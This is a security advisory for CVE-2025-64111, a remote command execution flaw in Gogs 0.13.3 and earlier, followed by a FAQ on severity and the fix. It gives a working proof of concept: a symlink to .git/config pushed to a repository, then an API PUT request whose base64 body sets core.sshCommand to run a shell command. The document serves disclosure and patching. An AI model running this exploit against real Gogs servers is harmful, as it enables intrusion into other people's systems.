CVE-2025-64111: Gogs's update .git/config file allows remote command execution
Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.
Details Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206
PoC bash add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push
Update file via API router http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token}
{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}
Impact RCE
Other sources
Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it's still possible to update files in the .git directory and achieve remote command execution. This issue has been patched in versions 0.13.4 and 0.14.0+dev.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-64111?
The CVE-2025-64111 vulnerability is classified as high severity due to its potential for remote command execution.
How do I fix CVE-2025-64111?
To fix CVE-2025-64111, upgrade to Gogs version 0.13.4 or later.
What does CVE-2025-64111 affect?
CVE-2025-64111 affects Gogs versions up to and including 0.13.3.
What kind of vulnerability is CVE-2025-64111?
CVE-2025-64111 is a remote command execution vulnerability caused by improper handling of the .git/config file.
Can CVE-2025-64111 allow unauthorized access?
Yes, CVE-2025-64111 can allow unauthorized users to execute commands remotely on the affected Gogs installation.